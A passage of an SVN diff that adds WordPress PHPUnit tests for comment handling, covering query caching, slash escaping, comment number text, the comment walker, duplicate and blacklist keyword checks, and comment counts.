+		$this->assertEquals( $number_of_queries + 1, $wpdb->num_queries );
+	}
+
+	/**
+	 * @ticket 41348
+	 */
+	public function test_count_query_should_hit_count_cache() {
+		global $wpdb;
+
+		$q = new WP_Comment_Query();
+
+		$query_1 = $q->query( array(
+			'fields' => 'ids',
+			'number' => 3,
+			'order' => 'ASC',
+			'count' => true,
+		) );
+		$number_of_queries = $wpdb->num_queries;
+
+		$query_2 = $q->query( array(
+			'fields' => 'ids',
+			'number' => 3,
+			'order' => 'ASC',
+			'count' => true,
+		) );
+		$this->assertEquals( $number_of_queries, $wpdb->num_queries );
+	}
+
+	/**
+	 * @ticket 41348
+	 */
+	public function test_different_values_of_fields_should_share_cached_values() {
+		global $wpdb;
+
+		$q = new WP_Comment_Query();
+
+		$query_1 = $q->query( array(
+			'fields' => 'all',
+			'number' => 3,
+			'order' => 'ASC',
+		) );
+		$number_of_queries = $wpdb->num_queries;
+
+		$query_2 = $q->query( array(
+			'fields' => 'ids',
+			'number' => 3,
+			'order' => 'ASC',
+		) );
+
+		$this->assertEquals( $number_of_queries, $wpdb->num_queries );
+	}
+
+	/**
+	 * @ticket 40669
+	 */
+	public function test_add_comment_meta_should_invalidate_query_cache() {
+		global $wpdb;
+
+		$p = self::factory()->post->create( array( 'post_status' => 'publish' ) );
+		$c1 = self::factory()->comment->create_post_comments( $p, 1 );
+		$c2 = self::factory()->comment->create_post_comments( $p, 1 );
+
+		foreach ( $c1 as $cid ) {
+			add_comment_meta( $cid, 'sauce', 'fire' );
+		}
+
+		$cached = get_comments( array(
+			'post_id' => $p,
+			'fields' => 'ids',
+			'meta_query' => array(
+				array(
+					'key' => 'sauce',
+					'value' => 'fire',
+				),
+			)
+		) );
+
+		$this->assertEqualSets( $c1, $cached );
+
+		foreach ( $c2 as $cid ) {
+			add_comment_meta( $cid, 'sauce', 'fire' );
+		}
+
+		$found = get_comments( array(
+			'post_id' => $p,
+			'fields' => 'ids',
+			'meta_query' => array(
+				array(
+					'key' => 'sauce',
+					'value' => 'fire',
+				),
+			)
+		) );
+
+		$this->assertEqualSets( array_merge( $c1, $c2 ), $found );
+	}
+
+	/**
+	 * @ticket 40669
+	 */
+	public function test_update_comment_meta_should_invalidate_query_cache() {
+		global $wpdb;
+
+		$p = self::factory()->post->create( array( 'post_status' => 'publish' ) );
+		$c1 = self::factory()->comment->create_post_comments( $p, 1 );
+		$c2 = self::factory()->comment->create_post_comments( $p, 1 );
+
+		foreach ( array_merge( $c1, $c2 ) as $cid ) {
+			add_comment_meta( $cid, 'sauce', 'fire' );
+		}
+
+		$cached = get_comments( array(
+			'post_id' => $p,
+			'fields' => 'ids',
+			'meta_query' => array(
+				array(
+					'key' => 'sauce',
+					'value' => 'fire',
+				),
+			)
+		) );
+
+		$this->assertEqualSets( array_merge( $c1, $c2 ), $cached );
+
+		foreach ( $c2 as $cid ) {
+			update_comment_meta( $cid, 'sauce', 'foo' );
+		}
+
+		$found = get_comments( array(
+			'post_id' => $p,
+			'fields' => 'ids',
+			'meta_query' => array(
+				array(
+					'key' => 'sauce',
+					'value' => 'fire',
+				),
+			)
+		) );
+
+		$this->assertEqualSets( $c1, $found );
+	}
+
+	/**
+	 * @ticket 40669
+	 */
+	public function test_delete_comment_meta_should_invalidate_query_cache() {
+		global $wpdb;
+
+		$p = self::factory()->post->create( array( 'post_status' => 'publish' ) );
+		$c1 = self::factory()->comment->create_post_comments( $p, 1 );
+		$c2 = self::factory()->comment->create_post_comments( $p, 1 );
+
+		foreach ( array_merge( $c1, $c2 ) as $cid ) {
+			add_comment_meta( $cid, 'sauce', 'fire' );
+		}
+
+		$cached = get_comments( array(
+			'post_id' => $p,
+			'fields' => 'ids',
+			'meta_query' => array(
+				array(
+					'key' => 'sauce',
+					'value' => 'fire',
+				),
+			)
+		) );
+
+		$this->assertEqualSets( array_merge( $c1, $c2 ), $cached );
+
+		foreach ( $c2 as $cid ) {
+			delete_comment_meta( $cid, 'sauce' );
+		}
+
+		$found = get_comments( array(
+			'post_id' => $p,
+			'fields' => 'ids',
+			'meta_query' => array(
+				array(
+					'key' => 'sauce',
+					'value' => 'fire',
+				),
+			)
+		) );
+
+		$this->assertEqualSets( $c1, $found );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/comment/slashes.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/comment/slashes.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/comment/slashes.php	(revision 56912)
@@ -0,0 +1,168 @@
+<?php
+
+/**
+ * @group comment
+ * @group slashes
+ * @ticket 21767
+ */
+class Tests_Comment_Slashes extends WP_UnitTestCase {
+	function setUp() {
+		parent::setUp();
+		// we need an admin user to bypass comment flood protection
+		$this->author_id = self::factory()->user->create( array( 'role' => 'administrator' ) );
+		wp_set_current_user( $this->author_id );
+
+		// it is important to test with both even and odd numbered slashes as
+		// kses does a strip-then-add slashes in some of its function calls
+		$this->slash_1 = 'String with 1 slash \\';
+		$this->slash_2 = 'String with 2 slashes \\\\';
+		$this->slash_3 = 'String with 3 slashes \\\\\\';
+		$this->slash_4 = 'String with 4 slashes \\\\\\\\';
+		$this->slash_5 = 'String with 5 slashes \\\\\\\\\\';
+		$this->slash_6 = 'String with 6 slashes \\\\\\\\\\\\';
+		$this->slash_7 = 'String with 7 slashes \\\\\\\\\\\\\\';
+	}
+
+	/**
+	 * Tests the extended model function that expects slashed data
+	 *
+	 */
+	function test_wp_new_comment() {
+		$post_id = self::factory()->post->create();
+
+		// not testing comment_author_email or comment_author_url
+		// as slashes are not permitted in that data
+		$data = array(
+			'comment_post_ID' => $post_id,
+			'comment_author' => $this->slash_1,
+			'comment_author_url' => '',
+			'comment_author_email' => '',
+			'comment_type' => '',
+			'comment_content' => $this->slash_7,
+		);
+		$id = wp_new_comment( $data );
+
+		$comment = get_comment($id);
+
+		$this->assertEquals( wp_unslash( $this->slash_1 ), $comment->comment_author );
+		$this->assertEquals( wp_unslash( $this->slash_7 ), $comment->comment_content );
+
+		$data = array(
+			'comment_post_ID' => $post_id,
+			'comment_author' => $this->slash_2,
+			'comment_author_url' => '',
+			'comment_author_email' => '',
+			'comment_type' => '',
+			'comment_content' => $this->slash_4,
+		);
+		$id = wp_new_comment( $data );
+
+		$comment = get_comment($id);
+
+		$this->assertEquals( wp_unslash( $this->slash_2 ), $comment->comment_author );
+		$this->assertEquals( wp_unslash( $this->slash_4 ), $comment->comment_content );
+	}
+
+	/**
+	 * Tests the controller function that expects slashed data
+	 *
+	 */
+	function test_edit_comment() {
+		$post_id = self::factory()->post->create();
+		$comment_id = self::factory()->comment->create(array(
+			'comment_post_ID' => $post_id
+		));
+
+		// not testing comment_author_email or comment_author_url
+		// as slashes are not permitted in that data
+		$_POST = array();
+		$_POST['comment_ID'] = $comment_id;
+		$_POST['comment_status'] = '';
+		$_POST['newcomment_author'] = $this->slash_1;
+		$_POST['newcomment_author_url'] = '';
+		$_POST['newcomment_author_email'] = '';
+		$_POST['content'] = $this->slash_7;
+		$_POST = add_magic_quotes( $_POST );
+
+		edit_comment();
+		$comment = get_comment( $comment_id );
+
+		$this->assertEquals( $this->slash_1, $comment->comment_author );
+		$this->assertEquals( $this->slash_7, $comment->comment_content );
+
+		$_POST = array();
+		$_POST['comment_ID'] = $comment_id;
+		$_POST['comment_status'] = '';
+		$_POST['newcomment_author'] = $this->slash_2;
+		$_POST['newcomment_author_url'] = '';
+		$_POST['newcomment_author_email'] = '';
+		$_POST['content'] = $this->slash_4;
+		$_POST = add_magic_quotes( $_POST );
+
+		edit_comment();
+		$comment = get_comment( $comment_id );
+
+		$this->assertEquals( $this->slash_2, $comment->comment_author );
+		$this->assertEquals( $this->slash_4, $comment->comment_content );
+	}
+
+	/**
+	 * Tests the model function that expects slashed data
+	 *
+	 */
+	function test_wp_insert_comment() {
+		$post_id = self::factory()->post->create();
+
+		$comment_id = wp_insert_comment(array(
+			'comment_post_ID' => $post_id,
+			'comment_author' => $this->slash_1,
+			'comment_content' => $this->slash_7,
+		));
+		$comment = get_comment( $comment_id );
+
+		$this->assertEquals( wp_unslash( $this->slash_1 ), $comment->comment_author );
+		$this->assertEquals( wp_unslash( $this->slash_7 ), $comment->comment_content );
+
+		$comment_id = wp_insert_comment(array(
+			'comment_post_ID' => $post_id,
+			'comment_author' => $this->slash_2,
+			'comment_content' => $this->slash_4,
+		));
+		$comment = get_comment( $comment_id );
+
+		$this->assertEquals( wp_unslash( $this->slash_2 ), $comment->comment_author );
+		$this->assertEquals( wp_unslash( $this->slash_4 ), $comment->comment_content );
+	}
+
+	/**
+	 * Tests the model function that expects slashed data
+	 *
+	 */
+	function test_wp_update_comment() {
+		$post_id = self::factory()->post->create();
+		$comment_id = self::factory()->comment->create(array(
+			'comment_post_ID' => $post_id
+		));
+
+		wp_update_comment(array(
+			'comment_ID' => $comment_id,
+			'comment_author' => $this->slash_1,
+			'comment_content' => $this->slash_7,
+		));
+		$comment = get_comment( $comment_id );
+
+		$this->assertEquals( wp_unslash( $this->slash_1 ), $comment->comment_author );
+		$this->assertEquals( wp_unslash( $this->slash_7 ), $comment->comment_content );
+
+		wp_update_comment(array(
+			'comment_ID' => $comment_id,
+			'comment_author' => $this->slash_2,
+			'comment_content' => $this->slash_4,
+		));
+		$comment = get_comment( $comment_id );
+
+		$this->assertEquals( wp_unslash( $this->slash_2 ), $comment->comment_author );
+		$this->assertEquals( wp_unslash( $this->slash_4 ), $comment->comment_content );
+	}
+
+}
Index: /tags/5.0.20/tests/phpunit/tests/comment/template.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/comment/template.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/comment/template.php	(revision 56912)
@@ -0,0 +1,157 @@
+<?php
+/**
+ * @group comment
+ */
+class Tests_Comment_Template extends WP_UnitTestCase {
+
+	function test_get_comments_number() {
+		$post_id = self::factory()->post->create();
+
+		$this->assertEquals( 0, get_comments_number( 0 ) );
+		$this->assertEquals( 0, get_comments_number( $post_id ) );
+		$this->assertEquals( 0, get_comments_number( get_post( $post_id ) ) );
+
+		self::factory()->comment->create_post_comments( $post_id, 12 );
+
+		$this->assertEquals( 12, get_comments_number( $post_id ) );
+		$this->assertEquals( 12, get_comments_number( get_post( $post_id ) ) );
+	}
+
+	function test_get_comments_number_without_arg() {
+		$post_id = self::factory()->post->create();
+		$permalink = get_permalink( $post_id );
+		$this->go_to( $permalink );
+
+		$this->assertEquals( 0, get_comments_number() );
+
+		self::factory()->comment->create_post_comments( $post_id, 12 );
+		$this->go_to( $permalink );
+
+		$this->assertEquals( 12, get_comments_number() );
+	}
+
+	/**
+	 * @ticket 13651
+	 */
+	function test_get_comments_number_text_declension_with_default_args() {
+		$post_id = $this->factory->post->create();
+		$permalink = get_permalink( $post_id );
+		$this->go_to( $permalink );
+
+		$this->assertEquals( __( 'No Comments' ), get_comments_number_text() );
+
+		$this->factory->comment->create_post_comments( $post_id, 1 );
+		$this->go_to( $permalink );
+
+		$this->assertEquals( __( '1 Comment' ), get_comments_number_text() );
+
+		$this->factory->comment->create_post_comments( $post_id, 1 );
+		$this->go_to( $permalink );
+
+		$this->assertEquals( sprintf( _n( '%s Comment', '%s Comments', 2 ), '2' ), get_comments_number_text() );
+
+	}
+
+	/**
+	 * @ticket 13651
+	 * @dataProvider data_get_comments_number_text_declension
+	 */
+	function test_get_comments_number_text_declension_with_custom_args( $number, $input, $output ) {
+		$post_id = $this->factory->post->create();
+		$permalink = get_permalink( $post_id );
+
+		$this->factory->comment->create_post_comments( $post_id, $number );
+		$this->go_to( $permalink );
+
+		add_filter( 'gettext_with_context', array( $this, '_enable_comment_number_declension' ), 10, 4 );
+
+		$this->assertEquals( $output, get_comments_number_text( false, false, $input ) );
+
+		remove_filter( 'gettext_with_context', array( $this, '_enable_comment_number_declension' ), 10, 4 );
+	}
+
+	function _enable_comment_number_declension( $translation, $text, $context, $domain ) {
+		if ( 'Comment number declension: on or off' === $context ) {
+			$translation = 'on';
+		}
+
+		return $translation;
+	}
+
+	/**
+	 * Data provider for test_get_comments_number_text_declension_with_custom_args().
+	 *
+	 * @return array {
+	 *     @type array {
+	 *         @type int    $comments_number The number of comments passed to get_comments_number_text().
+	 *         @type string $input           Custom text for comments number, e.g. '%s Comments'.
+	 *         @type string $output          The expected output with the correct plural form of '%s Comments'.
+	 *     }
+	 * }
+	 */
+	function data_get_comments_number_text_declension() {
+		return array(
+			array(
+				2,
+				'Comments (%)',
+				sprintf( _n( '%s Comment', '%s Comments', 2 ), '2' ),
+			),
+			array(
+				2,
+				'2 Comments',
+				'2 Comments',
+			),
+			array(
+				2,
+				'2 Comments<span class="screen-reader-text"> on Hello world!</span>',
+				'2 Comments<span class="screen-reader-text"> on Hello world!</span>',
+			),
+			array(
+				2,
+				'2 Comments<span class="screen-reader-text"> on Hello % world!</span>',
+				'2 Comments<span class="screen-reader-text"> on Hello 2 world!</span>' // See #WP37103
+			),
+			array(
+				2,
+				__( '% Comments', 'twentyten' ),
+				sprintf( _n( '%s Comment', '%s Comments', 2 ), '2' ),
+			),
+			array(
+				2,
+				_x( '%', 'comments number', 'twentyeleven' ),
+				'2',
+			),
+			array(
+				2,
+				__( '<b>%</b> Replies', 'twentyeleven' ),
+				sprintf( _n( '%s Comment', '%s Comments', 2 ), '<b>2</b>' ),
+			),
+			array(
+				2,
+				__( '% <span class="reply">comments &rarr;</span>', 'twentyeleven' ),
+				sprintf( '2 <span class="reply">%s &rarr;</span>', trim( sprintf( _n( '%s Comment', '%s Comments', 2 ), '' ) ) ),
+			),
+			array(
+				2,
+				__( '% Replies', 'twentytwelve' ),
+				sprintf( _n( '%s Comment', '%s Comments', 2 ), '2' ),
+			),
+			array(
+				2,
+				__( 'View all % comments', 'twentythirteen' ),
+				sprintf( _n( '%s Comment', '%s Comments', 2 ), '2' ),
+			),
+			array(
+				2,
+				__( '% Comments', 'twentyfourteen' ),
+				sprintf( _n( '%s Comment', '%s Comments', 2 ), '2' ),
+			),
+			array(
+				2,
+				__( '% Comments', 'twentyfifteen' ),
+				sprintf( _n( '%s Comment', '%s Comments', 2 ), '2' ),
+			),
+		);
+	}
+
+}
Index: /tags/5.0.20/tests/phpunit/tests/comment/walker.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/comment/walker.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/comment/walker.php	(revision 56912)
@@ -0,0 +1,48 @@
+<?php
+
+/**
+ * @group comment
+ */
+class Tests_Comment_Walker extends WP_UnitTestCase {
+
+	function setUp() {
+		parent::setUp();
+
+		$this->post_id = self::factory()->post->create();
+	}
+
+	/**
+	 * @ticket 14041
+	 */
+	function test_has_children() {
+		$comment_parent = self::factory()->comment->create( array( 'comment_post_ID' => $this->post_id ) );
+		$comment_child  = self::factory()->comment->create( array( 'comment_post_ID' => $this->post_id, 'comment_parent' => $comment_parent ) );
+		$comment_parent = get_comment( $comment_parent );
+		$comment_child  = get_comment( $comment_child  );
+
+		$comment_walker   = new Walker_Comment();
+		$comment_callback = new Comment_Callback_Test( $this, $comment_walker );
+
+		wp_list_comments( array( 'callback' => array( $comment_callback, 'comment' ), 'walker' => $comment_walker, 'echo' => false ), array( $comment_parent, $comment_child ) );
+		wp_list_comments( array( 'callback' => array( $comment_callback, 'comment' ), 'walker' => $comment_walker, 'echo' => false ), array( $comment_child, $comment_parent ) );
+	}
+}
+
+class Comment_Callback_Test {
+	public function __construct( Tests_Comment_Walker $test_walker, Walker_Comment $walker ) {
+		$this->test_walker = $test_walker;
+		$this->walker      = $walker;
+	}
+
+	public function comment( $comment, $args, $depth ) {
+		if ( 1 == $depth ) {
+			$this->test_walker->assertTrue( $this->walker->has_children );
+			$this->test_walker->assertTrue( $args['has_children']       ); // Back compat
+		}
+
+		else if ( 2 == $depth ) {
+			$this->test_walker->assertFalse( $this->walker->has_children );
+			$this->test_walker->assertFalse( $args['has_children']       ); // Back compat
+		}
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/comment/wpAllowComment.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/comment/wpAllowComment.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/comment/wpAllowComment.php	(revision 56912)
@@ -0,0 +1,73 @@
+<?php
+
+/**
+ * @group comment
+ */
+class Tests_Comment_WpAllowComment extends WP_UnitTestCase {
+	protected static $post_id;
+	protected static $comment_id;
+
+	function setUp() {
+		parent::setUp();
+
+		self::$post_id = self::factory()->post->create();
+		self::$comment_id = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_approved' => '1',
+			'comment_author' => 'Bob',
+			'comment_author_email' => 'bobthebuilder@example.com',
+			'comment_author_url' => 'http://example.com',
+			'comment_content' => 'Yes, we can!',
+		) );
+
+		update_option( 'comment_whitelist', 0 );
+	}
+
+	function tearDown() {
+		wp_delete_post( self::$post_id, true );
+		wp_delete_comment( self::$comment_id, true );
+
+		update_option( 'comment_whitelist', 1 );
+	}
+
+	public function test_allow_comment_if_comment_author_emails_differ() {
+		$now = time();
+		$comment_data = array(
+			'comment_post_ID' => self::$post_id,
+			'comment_author' => 'Bob',
+			'comment_author_email' => 'sideshowbob@example.com',
+			'comment_author_url' => 'http://example.com',
+			'comment_content' => 'Yes, we can!',
+			'comment_author_IP' => '192.168.0.1',
+			'comment_parent' => 0,
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now ),
+			'comment_agent' => 'Bobbot/2.1',
+			'comment_type' => '',
+		);
+
+		$result = wp_allow_comment( $comment_data );
+
+		$this->assertSame( 1, $result );
+	}
+
+	/**
+	 * @expectedException WPDieException
+	 */
+	public function test_die_as_duplicate_if_comment_author_name_and_emails_match() {
+		$now = time();
+		$comment_data = array(
+			'comment_post_ID' => self::$post_id,
+			'comment_author' => 'Bob',
+			'comment_author_email' => 'bobthebuilder@example.com',
+			'comment_author_url' => 'http://example.com',
+			'comment_content' => 'Yes, we can!',
+			'comment_author_IP' => '192.168.0.1',
+			'comment_parent' => 0,
+			'comment_date_gmt' => date( 'Y-m-d H:i:s', $now ),
+			'comment_agent' => 'Bobbot/2.1',
+			'comment_type' => '',
+		);
+
+		$result = wp_allow_comment( $comment_data );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/comment/wpBlacklistCheck.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/comment/wpBlacklistCheck.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/comment/wpBlacklistCheck.php	(revision 56912)
@@ -0,0 +1,103 @@
+<?php
+
+/**
+ * @group comment
+ */
+class Tests_WP_Blacklist_Check extends WP_UnitTestCase {
+
+	public function test_should_return_true_when_content_matches_blacklist_keys() {
+		$author       = 'Sting';
+		$author_email = 'sting@example.com';
+		$author_url   = 'http://example.com';
+		$comment      = "There's a hole in my heart. As deep as a well. For that poor little boy. Who's stuck halfway to Hell.";
+		$author_ip    = '192.168.0.1';
+		$user_agent   = '';
+
+		update_option( 'blacklist_keys',"well\nfoo" );
+
+		$result = wp_blacklist_check( $author, $author_email, $author_url, $comment, $author_ip, $user_agent );
+
+		$this->assertTrue( $result );
+	}
+
+	/**
+	 * @ticket 37208
+	 */
+	public function test_should_return_true_when_content_with_html_matches_blacklist_keys() {
+		$author       = 'Sting';
+		$author_email = 'sting@example.com';
+		$author_url   = 'http://example.com';
+		$comment      = "There's a hole in my heart. As deep as a well. For that poor little boy. Who's stuck <b>half</b>way to Hell.";
+		$author_ip    = '192.168.0.1';
+		$user_agent   = '';
+
+		update_option( 'blacklist_keys',"halfway\nfoo" );
+
+		$result = wp_blacklist_check( $author, $author_email, $author_url, $comment, $author_ip, $user_agent );
+
+		$this->assertTrue( $result );
+	}
+
+	public function test_should_return_true_when_author_matches_blacklist_keys() {
+		$author       = 'Sideshow Mel';
+		$author_email = 'mel@example.com';
+		$author_url   = 'http://example.com';
+		$comment      = "Though we can't get him out. We'll do the next best thing.";
+		$author_ip    = '192.168.0.1';
+		$user_agent   = '';
+
+		update_option( 'blacklist_keys',"sideshow\nfoo" );
+
+		$result = wp_blacklist_check( $author, $author_email, $author_url, $comment, $author_ip, $user_agent );
+
+		$this->assertTrue( $result );
+	}
+
+	public function test_should_return_true_when_url_matches_blacklist_keys() {
+		$author       = 'Rainier Wolfcastle';
+		$author_email = 'rainier@wolfcastle.com';
+		$author_url   = 'http://example.com';
+		$comment      = 'We go on TV and sing, sing, sing.';
+		$author_ip    = '192.168.0.1';
+		$user_agent   = '';
+
+		update_option( 'blacklist_keys',"example\nfoo" );
+
+		$result = wp_blacklist_check( $author, $author_email, $author_url, $comment, $author_ip, $user_agent );
+
+		$this->assertTrue( $result );
+	}
+
+	/**
+	 * @ticket 37208
+	 */
+	public function test_should_return_true_when_link_matches_blacklist_keys() {
+		$author       = 'Rainier Wolfcastle';
+		$author_email = 'rainier@wolfcastle.com';
+		$author_url   = 'http://example.com';
+		$comment      = 'We go on TV and sing, <a href="http://example.com/spam/>sing</a>, sing.';
+		$author_ip    = '192.168.0.1';
+		$user_agent   = '';
+
+		update_option( 'blacklist_keys',"/spam/" );
+
+		$result = wp_blacklist_check( $author, $author_email, $author_url, $comment, $author_ip, $user_agent );
+
+		$this->assertTrue( $result );
+	}
+
+	public function test_should_return_false_when_no_match() {
+		$author       = 'Krusty the Clown';
+		$author_email = 'krusty@example.com';
+		$author_url   = 'http://example.com';
+		$comment      = "And we're sending our love down the well.";
+		$author_ip    = '192.168.0.1';
+		$user_agent   = '';
+
+		update_option( 'blacklist_keys',"sideshow\nfoobar" );
+
+		$result = wp_blacklist_check( $author, $author_email, $author_url, $comment, $author_ip, $user_agent );
+
+		$this->assertFalse( $result );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/comment/wpComment.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/comment/wpComment.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/comment/wpComment.php	(revision 56912)
@@ -0,0 +1,60 @@
+<?php
+
+/**
+ * @group comment
+ */
+class Tests_Term_WpComment extends WP_UnitTestCase {
+	protected static $comment_id;
+
+	public static function wpSetUpBeforeClass( $factory ) {
+		global $wpdb;
+
+		// Ensure that there is a comment with ID 1.
+		$comment_1 = WP_Comment::get_instance( 1 );
+		if ( ! $comment_1 ) {
+			$wpdb->insert( $wpdb->comments, array(
+				'comment_ID' => 1,
+			) );
+
+			clean_comment_cache( 1 );
+		}
+
+		self::$comment_id = self::factory()->comment->create();
+	}
+
+	/**
+	 * @ticket 37738
+	 */
+	public function test_get_instance_should_work_for_numeric_string() {
+		$found = WP_Comment::get_instance( (string) self::$comment_id );
+
+		$this->assertEquals( self::$comment_id, $found->comment_ID );
+	}
+
+	/**
+	 * @ticket 37738
+	 */
+	public function test_get_instance_should_fail_for_negative_number() {
+		$found = WP_Comment::get_instance( -self::$comment_id );
+
+		$this->assertFalse( $found );
+	}
+
+	/**
+	 * @ticket 37738
+	 */
+	public function test_get_instance_should_fail_for_non_numeric_string() {
+		$found = WP_Comment::get_instance( 'abc' );
+
+		$this->assertFalse( $found );
+	}
+
+	/**
+	 * @ticket 37738
+	 */
+	public function test_get_instance_should_succeed_for_float_that_is_equal_to_post_id() {
+		$found = WP_Comment::get_instance( 1.0 );
+
+		$this->assertEquals( 1, $found->comment_ID );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/comment/wpCountComments.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/comment/wpCountComments.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/comment/wpCountComments.php	(revision 56912)
@@ -0,0 +1,192 @@
+<?php
+
+class Tests_WP_Count_Comments extends WP_UnitTestCase {
+
+	public function test_wp_count_comments() {
+		$count = wp_count_comments();
+
+		$this->assertEquals( 0, $count->approved );
+		$this->assertEquals( 0, $count->moderated );
+		$this->assertEquals( 0, $count->spam );
+		$this->assertEquals( 0, $count->trash );
+		$this->assertEquals( 0, $count->{'post-trashed'} );
+		$this->assertEquals( 0, $count->total_comments );
+		$this->assertEquals( 0, $count->all );
+	}
+
+	public function test_wp_count_comments_approved() {
+		self::factory()->comment->create( array(
+			'comment_approved' => 1
+		) );
+
+		$count = wp_count_comments();
+
+		$this->assertEquals( 1, $count->approved );
+		$this->assertEquals( 0, $count->moderated );
+		$this->assertEquals( 0, $count->spam );
+		$this->assertEquals( 0, $count->trash );
+		$this->assertEquals( 0, $count->{'post-trashed'} );
+		$this->assertEquals( 1, $count->total_comments );
+		$this->assertEquals( 1, $count->all );
+	}
+
+	public function test_wp_count_comments_awaiting() {
+		self::factory()->comment->create( array(
+			'comment_approved' => 0
+		) );
+
+		$count = wp_count_comments();
+
+		$this->assertEquals( 0, $count->approved );
+		$this->assertEquals( 1, $count->moderated );
+		$this->assertEquals( 0, $count->spam );
+		$this->assertEquals( 0, $count->trash );
+		$this->assertEquals( 0, $count->{'post-trashed'} );
+		$this->assertEquals( 1, $count->total_comments );
+		$this->assertEquals( 1, $count->all );
+	}
+
+	public function test_wp_count_comments_spam() {
+		self::factory()->comment->create( array(
+			'comment_approved' => 'spam'
+		) );
+
+		$count = wp_count_comments();
+
+		$this->assertEquals( 0, $count->approved );
+		$this->assertEquals( 0, $count->moderated );
+		$this->assertEquals( 1, $count->spam );
+		$this->assertEquals( 0, $count->trash );
+		$this->assertEquals( 0, $count->{'post-trashed'} );
+		$this->assertEquals( 1, $count->total_comments );
+		$this->assertEquals( 0, $count->all );
+	}
+
+	public function test_wp_count_comments_trash() {
+		self::factory()->comment->create( array(
+			'comment_approved' => 'trash'
+		) );
+
+		$count = wp_count_comments();
+
+		$this->assertEquals( 0, $count->approved );
+		$this->assertEquals( 0, $count->moderated );
+		$this->assertEquals( 0, $count->spam );
+		$this->assertEquals( 1, $count->trash );
+		$this->assertEquals( 0, $count->{'post-trashed'} );
+		$this->assertEquals( 0, $count->total_comments );
+		$this->assertEquals( 0, $count->all );
+	}
+
+	public function test_wp_count_comments_post_trashed() {
+		self::factory()->comment->create( array(
+			'comment_approved' => 'post-trashed'
+		) );
+
+		$count = wp_count_comments();
+
+		$this->assertEquals( 0, $count->approved );
+		$this->assertEquals( 0, $count->moderated );
+		$this->assertEquals( 0, $count->spam );
+		$this->assertEquals( 0, $count->trash );
+		$this->assertEquals( 1, $count->{'post-trashed'} );
+		$this->assertEquals( 0, $count->total_comments );
+		$this->assertEquals( 0, $count->all );
+	}
+
+	public function test_wp_count_comments_cache() {
+		$post_id = self::factory()->post->create( array(
+			'post_status' => 'publish'
+		) );
+		$comment_id = self::factory()->comment->create( array(
+			'comment_approved' => '1',
+			'comment_post_ID' => $post_id
+		) );
+
+		$count1 = wp_count_comments( $post_id );
+
+		$this->assertEquals( 1, $count1->approved );
+		$this->assertEquals( 0, $count1->moderated );
+		$this->assertEquals( 0, $count1->spam );
+		$this->assertEquals( 0, $count1->trash );
+		$this->assertEquals( 0, $count1->{'post-trashed'} );
+		$this->assertEquals( 1, $count1->total_comments );
+		$this->assertEquals( 1, $count1->all );
+
+		$all_count1 = wp_count_comments();
+
+		$this->assertEquals( 1, $all_count1->approved );
+		$this->assertEquals( 0, $all_count1->moderated );
+		$this->assertEquals( 0, $all_count1->spam );
+		$this->assertEquals( 0, $all_count1->trash );
+		$this->assertEquals( 0, $all_count1->{'post-trashed'} );
+		$this->assertEquals( 1, $all_count1->total_comments );
+		$this->assertEquals( 1, $all_count1->all );
+
+		wp_spam_comment( $comment_id );
+
+		$count2 = wp_count_comments( $post_id );
+
+		$this->assertEquals( 0, $count2->approved );
+		$this->assertEquals( 0, $count2->moderated );
+		$this->assertEquals( 1, $count2->spam );
+		$this->assertEquals( 0, $count2->trash );
+		$this->assertEquals( 0, $count2->{'post-trashed'} );
+		$this->assertEquals( 1, $count2->total_comments );
+		$this->assertEquals( 0, $count2->all );
+
+		$all_count2 = wp_count_comments();
+
+		$this->assertEquals( 0, $all_count2->approved );
+		$this->assertEquals( 0, $all_count2->moderated );
+		$this->assertEquals( 1, $all_count2->spam );
+		$this->assertEquals( 0, $all_count2->trash );
+		$this->assertEquals( 0, $all_count2->{'post-trashed'} );
+		$this->assertEquals( 1, $all_count2->total_comments );
+		$this->assertEquals( 0, $all_count2->all );
+
+		wp_trash_comment( $comment_id );
+
+		$count3 = wp_count_comments( $post_id );
+
+		$this->assertEquals( 0, $count3->approved );
+		$this->assertEquals( 0, $count3->moderated );
+		$this->assertEquals( 0, $count3->spam );
+		$this->assertEquals( 1, $count3->trash );
+		$this->assertEquals( 0, $count3->{'post-trashed'} );
+		$this->assertEquals( 0, $count3->total_comments );
+		$this->assertEquals( 0, $count3->all );
+
+		$all_count3 = wp_count_comments();
+
+		$this->assertEquals( 0, $all_count3->approved );
+		$this->assertEquals( 0, $all_count3->moderated );
+		$this->assertEquals( 0, $all_count3->spam );
+		$this->assertEquals( 1, $all_count3->trash );
+		$this->assertEquals( 0, $all_count3->{'post-trashed'} );
+		$this->assertEquals( 0, $all_count3->total_comments );
+		$this->assertEquals( 0, $all_count3->all );
+
+		wp_untrash_comment( $comment_id );
+
+		$count4 = wp_count_comments( $post_id );
+
+		$this->assertEquals( 0, $count4->approved );
+		$this->assertEquals( 0, $count4->moderated );
+		$this->assertEquals( 1, $count4->spam );
+		$this->assertEquals( 0, $count4->trash );
+		$this->assertEquals( 0, $count4->{'post-trashed'} );
+		$this->assertEquals( 1, $count4->total_comments );
+		$this->assertEquals( 0, $count4->all );
+
+		$all_count4 = wp_count_comments();
+
+		$this->assertEquals( 0, $all_count4->approved );
+		$this->assertEquals( 0, $all_count4->moderated );
+		$this->assertEquals( 1, $all_count4->spam );
+		$this->assertEquals( 0, $all_count4->trash );
+		$this->assertEquals( 0, $all_count4->{'post-trashed'} );
